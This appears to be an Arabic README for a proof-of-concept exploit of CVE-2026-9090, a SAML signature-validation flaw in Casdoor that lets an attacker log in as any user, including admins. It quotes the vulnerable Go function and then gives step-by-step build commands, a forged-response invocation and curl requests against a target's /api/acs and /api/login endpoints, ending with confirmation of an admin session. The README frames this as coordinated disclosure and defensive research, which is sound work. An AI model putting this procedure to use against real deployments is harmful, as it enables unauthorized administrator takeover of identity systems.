
PoC لـ CVE-2026-9090 — تجاوز توقيع SAML في Casdoor (CWE-347). لإعادة الإنتاج فقط؛ تم التنسيق عبر CERT/CC VU#780781.
إثبات مفهوم لـ CVE-2026-9090 (CWE-347، التحقق غير السليم من التوقيع المشفّر)، وهو تجاوز للمصادقة في منصة الهوية Casdoor.
الإسناد. نُشر CVE-2026-9090 وتولّى تنسيقه CERT/CC — انظر VU#780781. هذا المستودع هو إثبات مفهوم مستقل، يهدف لإعادة الإنتاج فقط للثغرة المكشوفة سابقًا؛ وهو لا يدّعي اكتشاف المشكلة.
عندما يعالج Casdoor استجابة SAML على POST /api/acs (تسجيل الدخول عبر مزوّد SAML خارجي)، تبني الدالة buildSpCertificateStore نقطة الثقة للتوقيع من <X509Certificate> المضمّن في استجابة SAML الواردة نفسها، بدلاً من الشهادة المسجّلة لدى مزوّد الهوية.
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
بما أن نقطة الثقة مأخوذة من الاستجابة، يمكن للمهاجم توقيع تأكيد SAML باستخدام شهادته الذاتية التوقيع، ودمج تلك الشهادة في الاستجابة، فيتم التحقق من التوقيع بالنسبة إلى نفسه. تحديد NameID لمستخدم موجود يحوّل إلى ذلك الحساب — إذا كان الحساب مسؤولًا (admin)، يحصل المهاجم على جلسة مسؤول. لا علاقة لكلمة المرور بهذا.
<= 2.362.0provider.IdP المسجّل فقط ((buildSpCertificateStore(provider *Provider) لم تعد تقرأ الاستجابة). قم بالترقية إلى إصدار حالي.forge_saml.go يبني استجابة SAML كاملة حيث يتم توقيع التأكيد (Assertion) بمفتاح ذاتي التوقيع لمرة واحدة، مع تضمين شهادة ذلك المفتاح في <ds:KeyInfo><ds:X509Certificate>. يستخدم نفس مكتبة goxmldsig التي يستخدمها Casdoor، لذلك يتم قبول التوحيد القياسي (canonicalization) وتنسيق التوقيع كما هما.
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP وORG وSAML_PROVIDER هي اسم التطبيق، والمؤسسة، ومزوّد SAML المرتبط بذلك التطبيق. يمكن قراءة تسجيل تطبيق Casdoor (بما في ذلك المزوّدات المرتبطة) في /api/get-application?id=admin/<name>.
يُنشر هذا الإثبات لثغرة تم إصلاحها والإفصاح عنها علنًا، لأغراض الاختبار الدفاعي، وهندسة الكشف، والبحث. لا تشغّله إلا ضد أنظمة مخوّل لاختبارها. المعالجة الصحيحة هي ترقية Casdoor إلى إصدار تتحقق فيه buildSpCertificateStore من الشهادة المسجّلة للمزوّد.
MIT — انظر LICENSE.